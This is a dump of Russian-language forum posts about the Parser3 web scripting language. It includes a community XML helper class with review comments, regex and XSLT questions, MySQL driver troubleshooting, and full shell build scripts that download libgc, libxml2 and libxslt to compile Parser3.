Здесь именно сравнение по полной дате показано вот так: \
[code]\
...\
  ^if($last_update > $new_after){новая}\
...\
[/code]"
"54516","Просто я беру дату из БД(mysql) в формате DATETIME. Вообще мне бы хотелось произвести сдвиг текущего времени на 30 минут, а затем сравнить с датой взятой из базы, но так как можно сдвигать как минимум только на 1 час, то пытался произвести этот сдвиг..."
"54517","... на последний пример с http://www.parser.ru/docs/lang/datecreaterel.htm"
"54518","SQL сервер будет делать это лишь для набора записей выдаваемого вашему коду, т.е. происходить это будет быстро. например:\
\
[code]\
SELECT\
    ...\
    dt - NOW() AS diff,\
    IF(NOW() - dt < 1, 1, 0) AS outdated,\
    ...\
FROM\
    ...\
[/code]"
"54519","хотя бы комментарии к методам напишите..."
"54520","1.\
[code]\
@doXmlNew[docName;root]\
$self.$docName[...]\
[/code]\
\
мне это очень не нравится, и вот почему:\
^doXmlNew[doXmlNew;...]\
неужели сложно было создать хеш-контекнер для хранения xdocs?\
\
2. \
[code]\
@getXmlRpc[docName;flag]\
$self.$docName[^xdoc::create{$request:body}]\
^if($self.$docName is xdoc){\
	$result(true)\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}[/code]\
- ваш метод выдает или строку (пустую) или boolean переменную. не надо так делать (а есть методы которые выдают string|bool|hash).\
- почему-бы сразу не проверить flag и в случае если он 1 - ничего не делать?\
- мне очень не нравится строка '^if($flag != 1){$result[]}', которая присутствует почти в каждом методе (думаю не только мне не нравицца это)\
\
3. локальные переменные - есть хорошо"
"54522","Простой в дезигне и не только сайт (не рассчитан на Dial-Up - heavy - в Америке с этим проще!)\
\
[url=\"http://providentconcrete.com\"]Что было[/url]\
[url=\"http://damain.infobox.ru\"]Что стало[/url]"
"54525","[code]\
# $Id: XmlParser.p,v 1.0.0.0 2006/07/06 Seomin Kirill Exp $\
\
\
@CLASS\
XmlParser\
\
\
@create[]\
\
\
#Ввод\
\
\
@doXmlNew[docName;root]\
$self.$docName[^xdoc::create[$root]]\
\
\
@doXmlLoad[docName;fileName;flag]\
^if(-f \"$fileName\"){\
	$self.$docName[^xdoc::load[$fileName]]\
	$result(true)\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
\
@getXmlRpc[docName;flag]\
$self.$docName[^xdoc::create{$request:body}]\
^if($self.$docName is xdoc){\
	$result(true)\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
#Узлы\
\
\
@getNodeSelectFirst[docName;path;flag]\
^if($self.$docName is xdoc){\
$nodeList[^self.$docName.select[$path]]\
^if($nodeList >= 1){\
$result[$nodeList.0]\
}\
}{\
	^if($flag != 1){$result(false)}\
}\
\
\
@doNodeAdd[docName;path;tag;value;flag]\
^if($self.$docName is xdoc){\
$node[^getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$nodeNew[^self.$docName.createElement[$tag]]\
$temp[^node.appendChild[$nodeNew]]\
$result(true)\
^if(def $value){\
$nodeNewValue[^self.$docName.createTextNode[$value]]\
$nodeNew[^getNodeSelectFirst[$docName;$path/$tag]]\
$temp[^nodeNew.appendChild[$nodeNewValue]]\
}\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@doNodeDel[docName;path;flag]\
^if($self.$docName is xdoc){\
$node[^getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$nodeParent[$node.parentNode]\
$temp[^nodeParent.removeChild[$node]]\
$result(true)\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@setNodeValue[docName;path;value;flag]\
^if($self.$docName is xdoc){\
$node[^getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$node.firstChild.nodeValue[$value]\
$result(true)\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@doNodeCopy[docNameFrom;pathFrom;docNameTo;pathTo;flag]\
^if($self.$docName is xdoc){\
$nodeFrom[^getNodeSelectFirst[$docNameFrom;$pathFrom]]\
^if(($nodeFrom is xnode) && ($nodeFrom.nodeType == $xnode:ELEMENT_NODE)){\
$nodeNew[^self.$docNameTo.importNode[$nodeFrom](-1)]\
$nodeTo[^getNodeSelectFirst[$docNameTo;$pathTo]]\
^if(($nodeTo is xnode) && ($nodeTo.nodeType == $xnode:ELEMENT_NODE)){\
$temp[^nodeTo.appendChild[$nodeNew]]\
$result(true)\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@getNodeValue[docName;path;flag]\
^if($self.$docName is xdoc){\
$node[^self.getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$result[$node.firstChild.nodeValue]\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
#Атрибуты\
\
\
@doAttrAdd[docName;path;attr;value;flag]\
^if($self.$docName is xdoc){\
$node[^getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$attrNew[^self.$docName.createAttribute[$attr]]\
$temp[^node.appendChild[$attrNew]]\
$result(true)\
^if(def $value){\
$attrNewValue[^self.$docName.createTextNode[$value]]\
$attrNew[^getNodeSelectFirst[$docName;$path/@$attr]]\
$temp[^attrNew.appendChild[$attrNewValue]]\
}\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@doAttrDel[docName;path;attr;flag]\
^if($self.$docName is xdoc){\
$node[^getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$temp[^node.removeAttribute[$attr]]\
$result(true)\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@setAttrValue[docName;path;attr;value;flag]\
^if($self.$docName is xdoc){\
$node[^getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$temp[^node.setAttribute[$attr;$value]]\
$result(true)\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@getAttrValue[docName;path;attr;flag]\
^if($self.$docName is xdoc){\
$node[^self.getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$result[^node.getAttribute[$attr]]\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
#Вывод\
\
\
@doXmlSave[docName;fileName;flag]\
^if($self.$docName is xdoc){\
^self.$docName.save[$fileName]\
$result(true)\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@getXmlXslt[docName;fileName;flag]\
^if($self.$docName is xdoc){\
^if(-f \"$fileName\"){\
$xslt[^self.$docName.transform[$fileName]]\
$result[^xslt.string[$.method[html]]]\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@getXmlPrint[docName;flag]\
^if(def $self.$docName){\
$result[^self.$docName.string[]]\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@setXmlRpc[docName;flag]\
^if($self.$docName is xdoc){\
$response:content-type[$.value[text/xml]$.charset[$response:charset]]\
$response:body[^self.$docName.string[]]\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
[/code]"
"54526","Я предлагаю сделать общественный модуль работы с XML(т.к. это самое прогрессивное направление). Пусть каждый, кому это интересно, высказывает свои размышления, поправки и выкладывает новые куски кода. Сделаем совместно удобный клас, без которого в будущем будет тяжеловато.\
   Этот метод лежал без дела у меня уже год с небольшим. Я ждал, что кто-нибудь затронет эту тему, но пришлось все же начать самому. В одиночку очень не просто за всем отследить и развиваться в правильном направлении. \
\
Как я не пробывал программировать Web-службы и на PHP и на Java, Parser мне наиболее по душе. Плюс я всегда буду за отечественных разработчиков."
"54528","[code]\
@create[]\
#Без комментариев\
\
Создание XML документов\
\
@doXmlNew[docName;root]\
#Создание нового документа с сылкой-именем $docName, $root - корневой узел док-та\
\
@doXmlLoad[docName;fileName;flag]\
#Загрузка XML док-та из источника $fileName в $docName\
\
@getXmlRpc[docName;flag]\
#Получение XML запроса в $docName\
\
Узлы созданных ранее док-тов\
\
@getNodeSelectFirst[docName;path;flag]\
#Получение первого узла-элемента из $docName по указанному пути $path - XPath \
\
@doNodeAdd[docName;path;tag;value;flag]\
#Добавление узла по адресу $path в $docName, где имя нового узла $tag, с необязательным текстовым содержимым $value\
\
@doNodeDel[docName;path;flag]\
#Удаление узла из $docName по пути $path\
\
@setNodeValue[docName;path;value;flag]\
#Изменяем значение текстового значения узла по адресу $path в док-те $docName, на новое значение $value ($path должен указывать на узел)\
\
@doNodeCopy[docNameFrom;pathFrom;docNameTo;pathTo;flag]\
#Копирование узла $docNameFrom по адресу $pathFrom в док-т $docNameTo по адресу $pathTo\
\
@getNodeValue[docName;path;flag]\
#Получаем текстовое содержание узла по адресу $path в док-те $docName\
\
Атрибуты узлов\
\
@doAttrAdd[docName;path;attr;value;flag]\
#Добавляем аттрибут в док-т $docName по адресу $path с именем атрибута $attr и его не обязательным значением $value\
\
@doAttrDel[docName;path;attr;flag]\
#Удаляем атрибут из документа $docName по адресу $path (указатель на материнский узел, где расположен атрибут $attr)\
\
@setAttrValue[docName;path;attr;value;flag]\
#Устанавливаем значение атрибута из док-та $docName по адресу $path, где атрибут $attr и новое значение $value\
\
@getAttrValue[docName;path;attr;flag]\
#Получаем значение атрибута из док-та $docName по адресу $path аттрибута $attr\
\
Вывод\
\
@doXmlSave[docName;fileName;flag]\
#Сохраняем XML в чистом виде из док-та $docName в файл $fileName\
\
@getXmlXslt[docName;fileName;flag]\
#Предобразуем док-т $docName к xsl таблице $fileName\
\
@getXmlPrint[docName;flag]\
#Выводим на экран чистый XML из $docName\
\
@setXmlRpc[docName;flag]\
#Делает ответ сервера в виде XML из $docName\
\
\
$flag, установленный на 1, дает возможность проверки успешности выполненного метода\
\
\
[/code]"
"54529","рандомизация background и его положения на странице\
рандомизация Gallery\
IE4+ - page-to-page transitions\
\
а чем Вам, собственно, текст не читается?"
"54530","Мне нравится второй вариант, ощущение от посещения сайта намного приятнее... Но и, вправду, текст в первом лучше читается и делает больший акцент, чем во втором."
"54531","Задача такая:\
нужно динамически генерить странички сайта\
то есть на веб-сервере не будет папок и файлов index.html\
\
в .htaccess пишу следующее\
RewriteEngine on\
RewriteRule ^(.*)$ /index.html?uri=$1 [L,QSA]\
\
по идее при заходе на любую страницу должен происходить редирект на корневой index.html, вместо этого получаю ошибку 404, почему?\
\
использую Apache 2.0.52"
"54532","Система FreBSD 5.4, parser-3.2.1 нужно скомпилить с поддержкой xml, делаю buildall-with-xml, все собирается без ошибок, либы и сам парсер, но при отркытии _test.html получаю:\
Парсер-то надо ставить с поддержкой XML... Или не подключены XML библиотеки... Это вам не хухры-мухры...\
Что еще ему нужно или что я ни так делаю?"
"54533","[code]\
<xsl:variable name=\"m_names\">\
<января/>\
<февраля/>\
<марта/>\
<апреля/>\
<мая/>\
<июня/>\
<июля/>\
<августа/>\
<сентября/>\
</xsl:variable>\
\
<xsl:for-each select=\"//block_news/result/row\">\
<xsl:variable name=\"mm\" select=\"date/@month\"/>\
	<tr>\
		<td class=\"date><xsl:value-of select=\"date/@day\"/> / <xsl:value-of select=\"name($m_names/*[$mm])\"/> / <xsl:value-of select=\"date/@year\"/></td></tr>\
	<tr>\
		<td><xsl:value-of select=\"text\"/>\
		</td>\
	</tr>\
</xsl:for-each>\
[/code]\
\
Взято из сайта на aspx, на парсере не хочет работать, выводит \"января\", при этом name($m_names/*[3]) - выводит марта, $mm - выводит нужный номер.\
\
Пытаюсь найти универсальное решение для этих языков."
"54534","Я так понял, что переменные типа date предназначена для работы с текущей датой, а нельзя ли сделать этот диапазон немного больше, например с 1900 г., или хотя бы передвинуть? Если можно, то как?"
"54536","$list[^file:list[$path;$mask]]\
$mask - мне нужно показать все файлы кроме .htaccess\
просто я не знаю как сделать правильно отрицание целого слова... :("
"54537","Требуется программист на фултайм в офис в Москве (м. Алексеевская).\
\
Parser, MySQL,  умение *nix'а - обязательно\
XML/XSL, JavaScript, HTML - желательно\
\
Зарплата белая, 1000$ на испытательный срок, потом по результатам.\
\
писать на tmm где-то на madgroup.ru\
или в icq:776166"
"54538","К задаче можно подойти разными путями, один из которых:\
[code]$mask[\\.(?!htaccess).*?^$][/code]"
"54540","я так понял отрицание блока (?!блок)\
тогда что такое \" .*? \"? Или я не так понял?"
"54541","Необходимо телом письма отправить pdf файл или его содержимое но так чтобы клиент прочитал.\
\
Известно\
программа принимающая неизвестна но известно что это американское посольство\
Письма с приложениями удаляются автоматически\
Необходимо чтобы содержимое pdf файла передалось без изменения (варианты преобразования в картинку принимаются) но см п2\
\
ps нужно сечас вечером будет уже не нужно\
\
С уважением и надеждой на помощь, Олег."
"54542","Процитируйте PDF в тексте письма. Потеряете оформление, но результат будет. Можете так:[quote]Since your email server doesn't allow messages with attachments, please find the contents of the PDF file below in plain text, or use [url=\"#\"]this link[/url] to open it from the web (XX Kb, approx. download time - less than ZZ seconds, no password required)[/quote]"
"54543","Понимаете....\
Вообще хотелось бы, не устанавливая, увидеть все в работе. Саму CMS, примеры текстов на ней, зайти демо-логином на демо-сайт, посмотреть демо-панель...\
\
Хостинг надо? ;)"
"54544","Формирую xls файл из данных sql таблицы. Как задать имя скачиваемому файлу? Я думал, что примерно так:\
[code]\
$response:download[\
	$.name[имя_файла]\
]\
[/code]"
"54546","Подкажите пожалуйста, какие хостеры стопудово предоставляют ImageMagick. А то я у некоторых хостеров спрашивают, а они даже не знают что это...\
P/S/ Есть ли среди них Peterhost или Rusonyx?"
"54547","вероятно, конечная последовательность шагов не очень сложна?\
чтобы люди потом поиском нашли и порадовались?"
"54548","я недавно писал на похожую тему.\
\
мелкое замечание по стилю: так читается получше:\
[code]\
@fields[]\
name	type	title	null	comment	conventions\
supplier	company	Поставщик	yes\
owner	company,person	Владелец\
name	text	Наименование			<a href=\"/conventions/hardware/name.htm\">инструкция по заполнению</a>\
buyed	sqldate	Дата покупки\
warranty	sqldate	Гарантийный срок\
serial	string	Серийный номер	yes\
comments	string	Примечание\
computer	servers	Установлено в	yes\
storage_company	company	Передано на хранение	yes\
storage_document	string	на основании	yes\
[/code]"
"54549","пожалуйста, добавьте сколько и как посчитаете разумным."
"54550","и кто виновать и что делать."
"54552","вероятно, вы всё собрали правильно.\
чтобы перепроверить, в консоли подойдите к вашему бинарнику, который используется на сайте и посмотрите в его красивые глаза:\
[code]\
$ ls -la\
$ strings parser3.cgi | grep -i xml\
[/code]\
похож ли по дате на тот, что вы собирали? есть ли в нём соответствующие классы?"
"54553","(только сначала повнимательнее почитайте/поищите, думается мне, это обсуждалось)"
"54554","Спасибо, но это не то"
"54555","[code]@auto[]\
$response:content-type[\
	$.value[application/vnd.ms-excel]\
	$.charset[$response:charset]\
]\
$response:download[\
	$.name[price]\
]\
\
\
@show_page[]\
<html xmlns:o=\"urn:schemas-microsoft-com:office:office\" xmlns:x=\"urn:schemas-microsoft-com:office:excel\" xmlns=\"http://www.w3.org/TR/REC-html40\">\
<head>\
	<meta http-equiv=\"content-type\" content=\"text/html^; charset=windows-1251\" />\
	<meta name=\"ProgId\" content=\"Excel.Sheet\">\
</head>\
<body>\
	<!-- Собственно таблица -->\
</body>\
</html>[/code]\
\
Искал. Не нашел. Если не трудно, дайте ссылку. Спасибо."
"54556","Это не совсем отрицание.\
\
(?!...) - это опережающая проверка справа, т.е. после совпадения с точкой \\. справа от точки должно быть что-то .*? до конца строки включительно ^$ что не совпало с (?!htaccess)."
"54557","хотя зачем вам imageMagick, при отсутствии оного воспользуйтесь nconvert"
"54559","бинарник точно тот что компилится, я его руками копирую из каталога где он скомпилился\
\
# strings parser3.cgi |grep -i xml\
optimized-xml"
"54560","... то выполните make clean и удалите Makefile, а потом собирайте скриптом."
"54561","Люди подскажите. Может кто занимался и знает откуда можно получать финансовые индексы в формате XML ( кроме РБК ) Особо интересует РТС и DJ."
"54562","[quote]письма с вложениями удаляются автоматически[/quote]Это значит, что smtp-сервер посольства, увидев слово multipart в письме, пошлёт (но не в Америку, а куда-то позаковыристее). И вам остаётся только процитировать содердимое в plain text и вывесить исходный PDF в онлайне."
"54563","Поставьте себе демоверсию Альфабанк-Директа (нужна несложная регистрация) и посмотрите сниффером, что она делает..."
"54564","есть под разные *nix, кидаешь рядом с cgi и порядок, очень много чего умеет и весит мало"
"54566","[quote]Вообще хотелось бы, не устанавливая, увидеть все в работе. Саму CMS, примеры текстов на ней, зайти демо-логином на демо-сайт, посмотреть демо-панель...[/quote]\
Демо есть, нужно быть просто внимательнее:\
[url=\"http://parser.proc.ru/editsite/\"]http://parser.proc.ru/editsite/[/url]\
Логин и пароль [b]test[/b].\
\
В демо режиме доступны, пока, не все функции.\
А вообще, вы слишком много хотите сразу, от одного человека."
"54567","Задача - убрать из страницы все javascript-вставки, в том числе и такие:\
\
<script language=\"javascript\">\
function FF ()\
{\
document.write(\"<script></script>\");\
}\
</script>\
\
Помогите пожалуйста, никак не могу составить нужное регулярное выражение."
"54568","Да, я понимаю. Я тоже был один. Ну ничего.\
Сходил, мне понравилось :)\
Могу подкинуть свежих идей и даже свежих реализаций. У вас CMS GPL-ная?"
"54569","у себя проверил простым примером\
[code]\
$mask[\\.(?!htaccess).*?^$]\
$file[^file:list[/;$mask]]\
^if($file){\
	^file.menu{$file.name}[<br>]\
}{\
	no files\
}\
[/code]\
\
работает на ура."
"54572","ну, например, http://www.interfax.ru/r/A/prodservMain/0.html"
"54573","А как?"
"54574","Идей навалом. Нехватает свободных рук, которые бы все идеи реализовывали.\
GPL-я."
"54577","Делал, везде (в сурсах парсера и в сурсах либ) :( \
Я уже не знаю что делать..... :( Тот вывод который я выкладывал о чем нибудь может сказать ?"
"54578","должно быть так:\
[code]\
[moko@moko //home/paf/parser3install/bin]$ strings parser3|grep -i xml|head\
allocating XML atomic memory\
reallocating XML memory\
out of memory (while duplicating XML string [size=%d])\
[/code]\
\
перепроверьте ещё разок?\
можно не утром, а днём. может с ночи чего нехорошего осталось."
"54580","пожалуйста, приведите код. спасибо."
"54581","небольшая ошибка, которая возникает, если применить \"некорректный\" шаблон\
<xsl:template match=\"document\">\
<xsl:apply-templates select=\".\" />\
</xsl:template>\
\
к документу xml\
<document>содержимое</document>\
\
у меня подозрение, что это из-за точки в select=\".\""
"54582","Ну вот я и имел в виду свои мозолистые :)"
"54583","[code]$file[^file::create[text;file.xls;text]]\
$response:download[$file][/code]\
вызывает ошибку\
---\
[code]undefined method[/code]\
[b]match[/b]\
[code]\\usr\\local\\parser3/auto.p(4)[/code]\
---\
\
А если из [code]\\usr\\local\\parser3/auto.p(4)[/code] убрать\
[code]@postprocess[buffer][attr_string;code;code_num;replace][/code]\
то нормально."
"54585","Так и не нашел ничего внятного в форуме.\
Может ли кто-то подробнее обьяснить о реализации общения с сервером (например ЖЖ) на сабже и Парсере. То есть нужно чтобы скрипт отправлял xml-rpc запросы и посты серверу."
"54587","Нда, действительно какая то путаница, вощем все сурсы удалил и по новой собрал и бинарь готовый взял в другом месте, хотя тот что раньше брал вроде по дате и времени совпадал.... или я чегото тупил....\
Всем спасибо за помощь."
"54588","который будет отлавливать парность ваших вхождений, на практике это 15 строк кода...\
\
P.S. Главное правильно подойти к проблеме..."
"54589","У Вас маска показывает только названия папок и файлов с точкой... вот и всё... теперь ясно... по-моему так правильнее\
^^(?!\\.htaccess).*?^$\
теперь нормально показывает все папки и файлы\
\
PS: у меня были в директории несколько папок и один htaccess, поэтому и результаты были пустые."
"54590","После сборки с XML возникла следующая пролемма (до этого все работало)\
на страничке выдает вот что:\
\
can't open the module\
/usr/local/www/cgi-bin/lib/libparser3mysql.so\
\
файл _test.html выдает следующее:\
\
protocol	parser driver	sql client library\
mysql	$sqldriversdir/libparser3mysql.so (84880 байт)	/usr/local/lib/mysql/libmysqlclient.so (370548 байт)\
то есь как я понимаю драйвер найден\
\
но ниже идет такая строчка:\
Работа с SQL\
\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Возможно не положены куда надо драйвера. \
Сообщение об ошибке: \
can't open the module \
$sqldriversdir/libparser3mysql.so\
\
Где я опять затупил ?"
"54592","Блин, находил ведь уже эту ветку....  даже в скрипт себе сделал, а когда сурсы грохнул, скрипт тоже.... спасибо."
"54593","Раз уж вопросы возникают, то выложу. \
От отригинальных отличаются наличием дополнительного ключика для FreeBSD, а также поддержкой выполнения команды strip\
\
with-xml:\
[code]\
#!/bin/sh\
\
# $Id: buildall-with-xml,v 1.1.2.5 2006/04/09 10:42:34 paf Exp $\
\
install_directory=$HOME/parser3install\
sendmail_command=\"/usr/sbin/sendmail -i -t -f postmaster\"\
\
echo \"buildall-with-xml\"\
echo \"Script author: Alexander Petrosian <paf@design.ru> (http://paf.design.ru)\"\
echo\
echo \"Building...\"\
\
parser3_directory=`pwd`\
cd ..\
project_directory=`pwd`\
mkdir src >/dev/null 2>&1\
\
if test ! -f \"$project_directory/gc/lib/libgc.a\"; then\
  cd $project_directory/src\
  echo \"Downloading libgc [1 lib of 3]...\"\
  wget -c http://www.hpl.hp.com/personal/Hans_Boehm/gc/gc_source/gc6.6.tar.gz\
  echo \"Unpacking...\"\
  gunzip -c gc6.6.tar.gz | tar vxf - >/dev/null\
  cd gc6.6\
  echo \"Configuring libgc...\"\
  CPPFLAGS=\"-DUSE_LIBC_PRIVATES -DUSE_MMAP -DUSE_MUNMAP\" \\\
  ./configure --prefix=$project_directory/gc --disable-threads --disable-shared --silent\
  echo \"Building libgc...\"\
  make\
  make install\
fi\
\
\
if test ! -f \"$project_directory/gnome/lib/libxml2.a\"; then\
  cd $project_directory/src\
  echo \"Downloading libxml [2 lib of 3]...\"\
  wget -c --passive-ftp ftp://xmlsoft.org/libxml2/libxml2-2.6.22.tar.gz\
  echo \"Unpacking... (be patient)\"\
  gunzip -c libxml2-2.6.22.tar.gz | tar vxf - >/dev/null\
  cd libxml2-2.6.22\
  #sax1, output, tree, xinclude[in libxslt], html[in libxslt, mode=html?] xptr[xinclude]-- needed!\
  echo \"Configuring libxml...\"\
  ./configure --prefix=$project_directory/gnome \\\
    --without-iconv --without-threads --without-debug \\\
    --without-iso8859x --without-legacy \\\
    --without-pattern --without-push --without-python \\\
    --without-reader --without-writer --without-readline --without-regexps \\\
    --without-schemas --without-schematron \\\
    --without-modules \\\
    --without-zlib \\\
    --disable-shared --silent\
  echo \"int main(){return 0;}\">testapi.c\
  echo \"int main(){return 0;}\">runtest.c\
  echo \"Building libxml...\"\
  make\
  make install\
fi\
\
if test ! -f \"$project_directory/gnome/lib/libxslt.a\"; then\
  cd $project_directory/src\
  echo \"Downloading libxslt [3 lib of 3]...\"\
  wget -c --passive-ftp ftp://xmlsoft.org/libxslt/libxslt-1.1.15.tar.gz\
  echo \"Unpacking... (be patient)\"\
  gunzip -c libxslt-1.1.15.tar.gz | tar vxf - >/dev/null\
  cd libxslt-1.1.15\
  echo \"Configuring libxslt...\"\
  ./configure --prefix=$project_directory/gnome \\\
     --with-libxml-prefix=$project_directory/gnome \\\
     --without-debug --without-debugger --without-crypto --without-plugins --disable-shared  --silent\
  echo \"Building libxslt...\"\
  make\
  make install\
fi\
\
cd $parser3_directory\
\
if test ! -f \"Makefile\"; then\
  echo \"Configuring parser3...\"\
  ./configure --prefix=$install_directory \\\
     \"--with-sendmail=$sendmail_command\" \\\
     --with-static-gc=$project_directory/gc/lib \\\
     --with-static-xml=$project_directory/gnome \\\
     --with-dynamic-stdcpp \\\
     --silent\
fi\
echo \"Building parser3...\"\
EXEEXT=\".cgi\"\
make install\
strip ${install_directory}/bin/parser3$EXEEXT\
echo \"DONE\"\
\
echo\
echo\
echo \"********************************************************************************************************\"\
echo \"Now you can copy $install_directory with subdirectories\"\
echo \"  -Parser3 with XML support-\"\
echo \"to your cgi-bin directory\"\
echo \"Read more about installing Parser here:\"\
echo \"  http://www.parser.ru/en/docs/lang/install4apachecgi.htm in English\"\
echo \"  http://www.parser.ru/docs/lang/install4apachecgi.htm in Russian\"\
echo \"********************************************************************************************************\"\
\
[/code]\
\
without-xml:\
[code]\
#!/bin/sh\
\
# $Id: buildall-without-xml,v 1.1.2.4 2006/01/19 12:11:42 paf Exp $\
\
install_directory=$HOME/parser3install\
sendmail_command=\"/usr/sbin/sendmail -i -t -f postmaster\"\
\
echo \"buildall-without-xml\"\
echo \"Script author: Alexander Petrosian <paf@design.ru> (http://paf.design.ru)\"\
echo\
echo \"Building...\"\
\
parser3_directory=`pwd`\
cd ..\
project_directory=`pwd`\
mkdir src >/dev/null 2>&1\
\
if test ! -f \"$project_directory/gc/lib/libgc.a\"; then\
  cd $project_directory/src\
  echo \"Downloading libgc [1 lib of 1]...\"\
  wget -c http://www.hpl.hp.com/personal/Hans_Boehm/gc/gc_source/gc6.6.tar.gz\
  echo \"Unpacking...\"\
  gunzip -c gc6.6.tar.gz | tar vxf - >/dev/null\
  cd gc6.6\
  echo \"Configuring libgc...\"\
  CPPFLAGS=\"-DUSE_LIBC_PRIVATES -DUSE_MMAP -DUSE_MUNMAP\" \\\
  ./configure --prefix=$project_directory/gc --disable-threads --disable-shared --silent\
  echo \"Building libgc...\"\
  make\
  make install\
fi\
\
cd $parser3_directory\
\
if test ! -f \"Makefile\"; then\
  echo \"Configuring parser3...\"\
  ./configure --prefix=$install_directory \\\
     \"--with-sendmail=$sendmail_command\" \\\
     --with-static-gc=$project_directory/gc/lib \\\
     --with-dynamic-stdcpp \\\
     --silent\
fi\
echo \"Building parser3...\"\
EXEEXT=\".cgi\"\
make install\
strip ${install_directory}/bin/parser3$EXEEXT\
echo \"DONE\"\
\
echo\
echo\
echo \"********************************************************************************************************\"\
echo \"Now you can copy $install_directory with subdirectories\"\
echo \"  -Parser3 WITHOUT XML support-\"\
echo \"to your cgi-bin directory\"\
echo \"Read more about installing Parser here:\"\
echo \"  http://www.parser.ru/en/docs/lang/install4apachecgi.htm in English\"\
echo \"  http://www.parser.ru/docs/lang/install4apachecgi.htm in Russian\"\
echo \"********************************************************************************************************\"\
[/code]"
"54594","Импортирую данные из RSS в базу.\
Скрипт импорта лежит в отдельном файлике, запускается кроном, кроме импорта ничего другого в этом файлике нет.\
\
Теперь к сути, при импорте дескрипшинов почему-то берётся только первый абзац, весь остальной текст откидывается, и происходит это только в тех случаях когда перед закрывающими </description> стоит несколько переводов строк.\
\
Эта беда повторяется не постоянно, поэтому вычленить в отдельный пример так и не смог.\
\
Текст достаю так:\
[code]\
$body[^xml.selectString[string(/rss/channel/item[position() = $item]/description)]]\
[/code]\
\
Какие могут быть предположения? и соответственно способы лечения?"
"54595","[code]\
--- parser3mysql.C      Fri Jul  7 17:34:27 2006\
+++ parser3mysql.C.wpatch       Fri Jul  7 17:33:31 2006\
@@ -166,7 +166,7 @@\
                                \"'charset' option is obsolete and should not be used with new 'ClientCharset' option\");\
\
                if(!mysql_real_connect(connection.handle,\
-                       host, user, pwd, db, port?port:MYSQL_PORT, unix_socket, 0))\
+                       host, user, pwd, db, port?port:MYSQL_PORT, unix_socket, CLIENT_MULTI_STATEMENTS))\
                        services._throw(mysql_error(connection.handle));\
\
                if(cstrBackwardCompAskServerToTranscode) {\
\
[/code]"
"54596","только на разбор такого регулярного потребуется больше памяти..."
"54597","И вообще, где подробнее почитать про регулярные выражения? Я смотрю в полезных ссылках, но там немного запутаннее, чем в хэлпе парсера... Вернее не запутаннее, а просто менее наглядно... :("
"54598","http://phpclub.ru/detail/article/regexp_1\
http://phpclub.ru/detail/article/regexp_2"
"54600","лучше всего написано в книге, она есть в любом интернет-книжнике.\
\
Больше памяти будет кушать, т.к. для каждого файла будут обрабатываться на схождение с правилом все символы .*? не включая (?!.htaccess) от начала строки ^^ до конца ^$\
\
В моём же примере будут на схожесть проверяться только расширения. Если у вас в папке не всречаются файлы без расширения, то мой вариант лучше."
"54602","Возможно спасет вставка проверки в метод postprocess:\
[code]\
@postprocess[buffer][attr_string;code;code_num;replace]\
^if($buffer is file){\
	$result[$buffer]\
}{\
# остальной код\
}\
[/code]"
"54604","HTML-код страницы:\
\
[code]<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
<html lang=\"ru\">\
<head>\
    <META http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\
    <title>Словарь ассоциаций</title>\
    <link rel=\"STYLESHEET\" type=\"text/css\" href=\"/style.css\">\
    <meta name=\"robots\" content=\"index, follow\" />\
    <meta name=\"author\" content=\"Словарь ассоциаций/>\
    <meta name=\"Copyright\" content=\"ЭМ Кечинов />\
    <meta name=\"description\" content=\"\" />\
    <meta name=\"keywords\" content=\"\">\
</head>\
<body>\
\
Hello\
Привет\
\
</body>\
</html>[/code]\
\
Если открывать через сервер, то кодировка автоматически определяется как windows-1251, но мне нужно, чтобы кодировка определялась юникодом. Открываем просто через проводник (c:\\webservers\\html.....\\index.html), кодировка определяется нормально. \
Идем дальше. Переименовываем index.html в index.php, открываем через сервер - все нормально.\
Что может быть?"
"54605","Кроме того, на сервере Apache может также стояте \"перекодировщик\""
"54606","Я тестирую на Денвере. Попытки сделать:\
CharsetDisable On\
CharsetDefault UTF-8\
CharsetSourceEnc UTF-8\
приводят к 500-й ошибке.\
Но ведь в PHP-файле все то же самое работает."
